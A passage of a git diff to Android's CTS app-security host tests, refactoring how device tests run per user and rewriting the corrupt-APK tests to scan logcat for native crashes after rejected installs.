- APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
+ runDeviceTests(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
installResult = getDevice().installPackage(getTestAppFile(APP_ACCESS_DATA_APK),
false, options);
assertNull(String.format("failed to install app access data. Reason: %s",
installResult), installResult);
// run appaccessdata's tests which attempt to access appwithdata's private data
- runDeviceTestsAsCurrentUser(APP_ACCESS_DATA_PKG);
+ runDeviceTests(APP_ACCESS_DATA_PKG);
} finally {
getDevice().uninstallPackage(APP_WITH_DATA_PKG);
getDevice().uninstallPackage(APP_ACCESS_DATA_PKG);
@@ -205,8 +206,7 @@
assertNull(String.format("failed to install app with data. Reason: %s", installResult),
installResult);
// run appwithdata's tests to create private data
- runDeviceTestsAsCurrentUser(
- APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
+ runDeviceTests(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
getDevice().uninstallPackage(APP_WITH_DATA_PKG);
@@ -215,7 +215,7 @@
assertNull(String.format("failed to install app with data second time. Reason: %s",
installResult), installResult);
// run appwithdata's 'check if file exists' test
- runDeviceTestsAsCurrentUser(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS,
+ runDeviceTests(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS,
APP_WITH_DATA_CHECK_NOEXIST_METHOD);
} finally {
getDevice().uninstallPackage(APP_WITH_DATA_PKG);
@@ -249,7 +249,7 @@
// run INSTRUMENT_DIFF_CERT_PKG tests
// this test will attempt to call startInstrumentation directly and verify
// SecurityException is thrown
- runDeviceTestsAsCurrentUser(INSTRUMENT_DIFF_CERT_PKG);
+ runDeviceTests(INSTRUMENT_DIFF_CERT_PKG);
} finally {
getDevice().uninstallPackage(TARGET_INSTRUMENT_PKG);
getDevice().uninstallPackage(INSTRUMENT_DIFF_CERT_PKG);
@@ -262,6 +262,7 @@
*/
@Test
@AppModeFull // TODO: Needs porting to instant
+ @SecurityTest
public void testPermissionDiffCert() throws Exception {
Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
try {
@@ -287,7 +288,7 @@
assertNull(String.format("failed to install permission app with diff cert. Reason: %s",
installResult), installResult);
// run PERMISSION_DIFF_CERT_PKG tests which try to access the permission
- runDeviceTestsAsCurrentUser(PERMISSION_DIFF_CERT_PKG);
+ runDeviceTests(PERMISSION_DIFF_CERT_PKG);
} finally {
getDevice().uninstallPackage(DECLARE_PERMISSION_PKG);
getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
@@ -306,14 +307,7 @@
assertTrue("Error text", output.contains("Error"));
}
- private void runDeviceTestsAsCurrentUser(String packageName)
- throws DeviceNotAvailableException {
- Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, null, null);
- }
-
- private void runDeviceTestsAsCurrentUser(
- String packageName, String className, String methodName)
- throws DeviceNotAvailableException {
- Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, className, methodName);
+ private void runDeviceTests(String packageName) throws DeviceNotAvailableException {
+ runDeviceTests(packageName, null);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
index c463d5a..5e2a97b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
@@ -32,6 +32,7 @@
/** Whether multi-user is supported. */
protected boolean mSupportsMultiUser;
+ protected boolean mIsSplitSystemUser;
protected int mPrimaryUserId;
/** Users we shouldn't delete in the tests */
private ArrayList<Integer> mFixedUsers;
@@ -41,12 +42,22 @@
Assert.assertNotNull(getBuild()); // ensure build has been set before test is run.
mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
+ mIsSplitSystemUser = checkIfSplitSystemUser();
mPrimaryUserId = getDevice().getPrimaryUserId();
mFixedUsers = new ArrayList<>();
mFixedUsers.add(mPrimaryUserId);
if (mPrimaryUserId != Utils.USER_SYSTEM) {
mFixedUsers.add(Utils.USER_SYSTEM);
}
+ getDevice().switchUser(mPrimaryUserId);
+ }
+
+ private boolean checkIfSplitSystemUser() throws DeviceNotAvailableException {
+ final String commandOuput = getDevice().executeShellCommand(
+ "getprop ro.fw.system_user_split");
+ return "y".equals(commandOuput) || "yes".equals(commandOuput)
+ || "1".equals(commandOuput) || "true".equals(commandOuput)
+ || "on".equals(commandOuput);
}
protected void installTestAppForUser(String apk, int userId) throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
index edcbd97..6830f30 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
@@ -16,7 +16,6 @@
package android.appsecurity.cts;
import android.platform.test.annotations.AppModeFull;
-import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -62,32 +61,32 @@
@AppModeFull // TODO: Needs porting to instant
public void testBaseClassLoader() throws Exception {
new InstallMultiple().addApk(APK_BASE).run();
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
}
@Test
@AppModeFull // TODO: Needs porting to instant
public void testFeatureAClassLoader() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testFeatureAClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
}
@Test
@AppModeFull // TODO: Needs porting to instant
public void testFeatureBClassLoader() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testFeatureAClassLoader");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testFeatureBClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
}
@Test
@AppModeFull // TODO: Needs porting to instant
public void testReceiverClassLoaders() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testAllReceivers");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
}
private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
@@ -95,10 +94,4 @@
super(getDevice(), getBuild(), null);
}
}
-
- private void runDeviceTestsAsCurrentUser(
- String packageName, String testClassName, String testMethodName)
- throws DeviceNotAvailableException {
- Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
- }
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index 8516c73..6849d0c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -15,24 +15,18 @@
*/
package android.appsecurity.cts;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.fail;
+import static com.google.common.truth.Truth.assertThat;
import android.platform.test.annotations.AppModeFull;
-import com.android.ddmlib.Log.LogLevel;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.InputStreamSource;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.util.FileUtil;
import org.junit.After;
-import org.junit.Assert;
import org.junit.Before;
import java.io.File;
@@ -41,115 +35,104 @@
* Set of tests that verify that corrupt APKs are properly rejected by PackageManager and
* do not cause the system to crash.
*/
-@AppModeFull(reason = "the corrupt APKs were provided as-is and we cannot modify them to comply with instant mode")
+@AppModeFull // TODO: Needs porting to instant
public class CorruptApkTests extends DeviceTestCase implements IBuildReceiver {
+ private final String B71360999_PKG = "com.android.appsecurity.b71360999";
+ private final String B71361168_PKG = "com.android.appsecurity.b71361168";
+ private final String B79488511_PKG = "com.android.appsecurity.b79488511";
private IBuildInfo mBuildInfo;
- /** A container for information about the system_server process. */
- private class SystemServerInformation {
- final long mPid;
- final long mStartTime;
-
- SystemServerInformation(long pid, long startTime) {
- this.mPid = pid;
- this.mStartTime = startTime;
- }
-
- @Override
- public boolean equals(Object actual) {
- return (actual instanceof SystemServerInformation)
- && mPid == ((SystemServerInformation) actual).mPid
- && mStartTime == ((SystemServerInformation) actual).mStartTime;
- }
- }
-
- /** Retrieves the process id and elapsed run time of system_server. */
- private SystemServerInformation retrieveInfo() throws DeviceNotAvailableException {
- ITestDevice device = getDevice();
-
- // Retrieve the process id of system_server
- String pidResult = device.executeShellCommand("pidof system_server").trim();
- assertNotNull("Failed to retrieve pid of system_server", pidResult);
- long pid = 0;
- try {
- pid = Long.parseLong(pidResult);
- } catch (NumberFormatException | IndexOutOfBoundsException e) {
- fail("Unable to parse pid of system_server '" + pidResult + "'");
- }
-
- // Retrieve the start time of system_server
- long startTime = 0;
- String pidStats = device.executeShellCommand("cat /proc/" + pid + "/stat");
- assertNotNull("Failed to retrieve stat of system_server with pid '" + pid + "'", pidStats);
- try {
- String startTimeJiffies = pidStats.split("\\s+")[21];
- startTime = Long.parseLong(startTimeJiffies);
- } catch (NumberFormatException | IndexOutOfBoundsException e) {
- fail("Unable to parse system_server stat file '" + pidStats + "'");
- }
-
- return new SystemServerInformation(pid, startTime);
- }
-
@Override
public void setBuild(IBuildInfo buildInfo) {
mBuildInfo = buildInfo;
}
- /** Uninstall any test APKs already present on device. */
- private void uninstallApks() throws DeviceNotAvailableException {
- ITestDevice device = getDevice();
- device.uninstallPackage("com.android.appsecurity.b71360999");
- device.uninstallPackage("com.android.appsecurity.b71361168");
- device.uninstallPackage("com.android.appsecurity.b79488511");
- }
-
@Before
@Override
public void setUp() throws Exception {
super.setUp();
- uninstallApks();
+ uninstall(B71360999_PKG);
+ uninstall(B71361168_PKG);
+ uninstall(B79488511_PKG);
}
@After
@Override
public void tearDown() throws Exception {
super.tearDown();
- uninstallApks();
+ uninstall(B71360999_PKG);
+ uninstall(B71361168_PKG);
+ uninstall(B79488511_PKG);
+ }
+
+ /** Uninstall the apk if the test failed previously. */
+ public void uninstall(String pkg) throws Exception {
+ ITestDevice device = getDevice();
+ if (device.getInstalledPackageNames().contains(pkg)) {
+ device.uninstallPackage(pkg);
+ }
}
/**
- * Asserts that installing the application does not cause a native error causing system_server
- * to crash (typically the result of a buffer overflow or an out-of-bounds read).
+ * Tests that apks described in b/71360999 do not install successfully.
*/
- private void assertInstallDoesNotCrashSystem(String apk) throws Exception {
- SystemServerInformation beforeInfo = retrieveInfo();
+ public void testFailToInstallCorruptStringPoolHeader_b71360999() throws Exception {
+ final String APK_PATH = "CtsCorruptApkTests_b71360999.apk";
+ assertInstallNoFatalError(APK_PATH, B71360999_PKG);
+ }
- final String result = getDevice().installPackage(
- new CompatibilityBuildHelper(mBuildInfo).getTestFile(apk),
- false /*reinstall*/);
- CLog.logAndDisplay(LogLevel.INFO, "Result: '" + result + "'");
- if (result != null) {
- assertFalse("Install package segmentation faulted",
- result.toLowerCase().contains("segmentation fault"));
+ /**
+ * Tests that apks described in b/71361168 do not install successfully.
+ */
+ public void testFailToInstallCorruptStringPoolHeader_b71361168() throws Exception {
+ final String APK_PATH = "CtsCorruptApkTests_b71361168.apk";
+ assertInstallNoFatalError(APK_PATH, B71361168_PKG);
+ }
+
+ /**
+ * Tests that apks described in b/79488511 do not install successfully.
+ */
+ public void testFailToInstallCorruptStringPoolHeader_b79488511() throws Exception {
+ final String APK_PATH = "CtsCorruptApkTests_b79488511.apk";
+ assertInstallNoFatalError(APK_PATH, B79488511_PKG);
+ }
+
+ /**
+ * Assert that installing the app does not cause a native error caused by a buffer overflow
+ * or an out-of-bounds read.
+ **/
+ private void assertInstallNoFatalError(String filename, String pkg) throws Exception {
+ ITestDevice device = getDevice();
+ device.clearLogcat();
+
+ final String result = device.installPackage(
+ new CompatibilityBuildHelper(mBuildInfo).getTestFile(filename),
+ true /*reinstall*/);
+
+ // Starting from P, corrupt apks should always fail to install
+ if (device.getApiLevel() >= 28) {
+ assertThat(result).isNotNull();
+ assertThat(result).isNotEmpty();
+ assertThat(device.getInstalledPackageNames()).doesNotContain(pkg);
}
- assertEquals("system_server restarted", beforeInfo, retrieveInfo());
- }
-
- /** Tests that installing the APK described in b/71360999 does not crash the device. */
- public void testSafeInstallOfCorruptAPK_b71360999() throws Exception {
- assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71360999.apk");
- }
-
- /** Tests that installing the APK described in b/71361168 does not crash the device. */
- public void testSafeInstallOfCorruptAPK_b71361168() throws Exception {
- assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71361168.apk");
- }
-
- /** Tests that installing the APK described in b/79488511 does not crash the device. */
- public void testSafeInstallOfCorruptAPK_b79488511() throws Exception {
- assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b79488511.apk");
+ // This catches if the device fails to install the app because a segmentation fault
+ // or out of bounds read created by the bug occurs
+ File tmpTxtFile = null;
+ InputStreamSource source = device.getLogcat(200 * 1024);
+ try {
+ assertNotNull(source);
+ tmpTxtFile = FileUtil.createTempFile("logcat", ".txt");
+ FileUtil.writeToFile(source.createInputStream(), tmpTxtFile);
+ String s = FileUtil.readStringFromFile(tmpTxtFile);
+ assertFalse(s.contains("SIGSEGV"));
+ assertFalse(s.contains("==ERROR"));
+ } finally {
+ source.close();
+ if (tmpTxtFile != null) {
+ FileUtil.deleteFile(tmpTxtFile);
+ }
+ }
}
}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 4dc768a..2d1386f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -58,9 +58,11 @@
private static final long SHUTDOWN_TIME_MS = 30 * 1000;
+ private int[] mUsers;
+
@Before
public void setUp() throws Exception {
- Utils.prepareSingleUser(getDevice());
+ mUsers = Utils.prepareSingleUser(getDevice());
assertNotNull(getAbi());
assertNotNull(getBuild());
@@ -152,13 +154,12 @@
// To receive boot broadcasts, kick our other app out of stopped state
getDevice().executeShellCommand("am start -a android.intent.action.MAIN"
- + " --user current"
+ " -c android.intent.category.LAUNCHER com.android.cts.splitapp/.MyActivity");
// Give enough time for PackageManager to persist stopped state
Thread.sleep(15000);
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testSetUp");
+ runDeviceTests(PKG, CLASS, "testSetUp", mUsers);
// Give enough time for vold to update keys
Thread.sleep(15000);
@@ -178,16 +179,16 @@
if (doTest) {
if (MODE_NONE.equals(mode)) {
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyUnlockedAndDismiss");
+ runDeviceTests(PKG, CLASS, "testVerifyUnlockedAndDismiss", mUsers);
} else {
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyLockedAndDismiss");
+ runDeviceTests(PKG, CLASS, "testVerifyLockedAndDismiss", mUsers);
}
}
} finally {
try {
// Remove secure lock screens and tear down test app
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testTearDown");
+ runDeviceTests(PKG, CLASS, "testTearDown", mUsers);
} finally {
getDevice().uninstallPackage(PKG);
@@ -204,10 +205,12 @@
}
}
- private void runDeviceTestsAsCurrentUser(
- String packageName, String testClassName, String testMethodName)
- throws DeviceNotAvailableException {
- Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+ private void runDeviceTests(String packageName, String testClassName, String testMethodName,
+ int... users) throws DeviceNotAvailableException {
+ for (int user : users) {
+ Log.d(TAG, "runDeviceTests " + testMethodName + " u" + user);
+ runDeviceTests(getDevice(), packageName, testClassName, testMethodName, user, null);
+ }
}
private String getFbeMode() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 538bc00..2bda129 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -17,6 +17,8 @@
package android.appsecurity.cts;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -329,6 +331,22 @@
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGranted");
}
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionNotGrantedInPackageInfo");
+ }
+
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testInstallPermissionGrantedInPackageInfo() throws Exception {
+ if (isDeviceUnsupported()) {
+ return;
+ }
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGrantedInPackageInfo");
+ }
+
/** Test for android.permission.INSTANT_APP_FOREGROUND_SERVICE */
public void testStartForegrondService() throws Exception {
if (isDeviceUnsupported()) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
index aa7998b..b6cd29d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
@@ -56,7 +56,6 @@
/** Users we shouldn't delete in the tests */
private ArrayList<Integer> mFixedUsers;
private int[] mTestUser = new int[2];
- private int mStartingUser;
@Override
public void setAbi(IAbi abi) {
@@ -84,7 +83,6 @@
if (mPrimaryUserId != USER_SYSTEM) {
mFixedUsers.add(USER_SYSTEM);
}
- mStartingUser = getDevice().getCurrentUser();
getDevice().switchUser(mPrimaryUserId);
mTestUser[0] = users[1];
@@ -99,7 +97,6 @@
if (mSupportsMultiUser) {
uninstallTestPackages();
}
- getDevice().switchUser(mStartingUser);
super.tearDown();
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index a9ac9b0..dc08b6c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -17,7 +17,6 @@
import android.platform.test.annotations.AppModeFull;
import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
@@ -59,12 +58,12 @@
public void testInstallBase() throws Exception {
new InstallMultiple().addApk(APK_BASE).run();
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
}
public void testInstallBaseAndConfigSplit() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_BASE_pl).run();
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadPolishLocale");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
}
public void testInstallMissingDependency() throws Exception {
@@ -73,52 +72,52 @@
public void testInstallOneFeatureSplit() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAReceivers");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAReceivers");
}
public void testInstallOneFeatureSplitAndConfigSplits() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_BASE_pl)
.addApk(APK_FEATURE_A_pl).run();
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadPolishLocale");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
}
public void testInstallDependentFeatureSplits() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAAndBReceivers");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBReceivers");
}
public void testInstallDependentFeatureSplitsAndConfigSplits() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
.addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl).addApk(APK_FEATURE_B_pl).run();
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadPolishLocale");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBPolishLocale");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBPolishLocale");
}
public void testInstallAllFeatureSplits() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
.addApk(APK_FEATURE_C).run();
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAAndBAndCReceivers");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBAndCReceivers");
}
public void testInstallAllFeatureSplitsAndConfigSplits() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
.addApk(APK_FEATURE_C).addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl)
.addApk(APK_FEATURE_C_pl).run();
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
- runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
}
@Override
@@ -131,10 +130,4 @@
super(getDevice(), mBuildInfo, null);
}
}
-
- private void runDeviceTestsAsCurrentUser(
- String packageName, String testClassName, String testMethodName)
- throws DeviceNotAvailableException {
- Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
- }
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
index 512a753..e1d913e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
@@ -71,7 +71,7 @@
assertNull(getDevice().installPackage(
mBuildHelper.getTestFile(APK_000000000000ffff), false, false));
assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
- runDeviceTestsAsCurrentUser("testCheckVersion");
+ runVersionDeviceTests("testCheckVersion");
getDevice().uninstallPackage(PKG);
}
@@ -79,7 +79,7 @@
assertNull(getDevice().installPackage(
mBuildHelper.getTestFile(APK_000000ff00000000), false, false));
assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
- runDeviceTestsAsCurrentUser("testCheckVersion");
+ runVersionDeviceTests("testCheckVersion");
getDevice().uninstallPackage(PKG);
}
@@ -87,19 +87,19 @@
assertNull(getDevice().installPackage(
mBuildHelper.getTestFile(APK_000000000000ffff), false, false));
assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
- runDeviceTestsAsCurrentUser("testCheckVersion");
+ runVersionDeviceTests("testCheckVersion");
assertNull(getDevice().installPackage(
mBuildHelper.getTestFile(APK_00000000ffffffff), true, false));
assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
- runDeviceTestsAsCurrentUser("testCheckVersion");
+ runVersionDeviceTests("testCheckVersion");
assertNull(getDevice().installPackage(
mBuildHelper.getTestFile(APK_000000ff00000000), true, false));
assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
- runDeviceTestsAsCurrentUser("testCheckVersion");
+ runVersionDeviceTests("testCheckVersion");
assertNull(getDevice().installPackage(
mBuildHelper.getTestFile(APK_000000ffffffffff), true, false));
assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
- runDeviceTestsAsCurrentUser("testCheckVersion");
+ runVersionDeviceTests("testCheckVersion");
getDevice().uninstallPackage(PKG);
}
@@ -107,29 +107,29 @@
assertNull(getDevice().installPackage(
mBuildHelper.getTestFile(APK_000000ffffffffff), false, false));
assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
- runDeviceTestsAsCurrentUser("testCheckVersion");
+ runVersionDeviceTests("testCheckVersion");
assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
mBuildHelper.getTestFile(APK_00000000ffffffff), true, false));
assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
- runDeviceTestsAsCurrentUser("testCheckVersion");
+ runVersionDeviceTests("testCheckVersion");
assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
mBuildHelper.getTestFile(APK_000000ff00000000), true, false));
assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
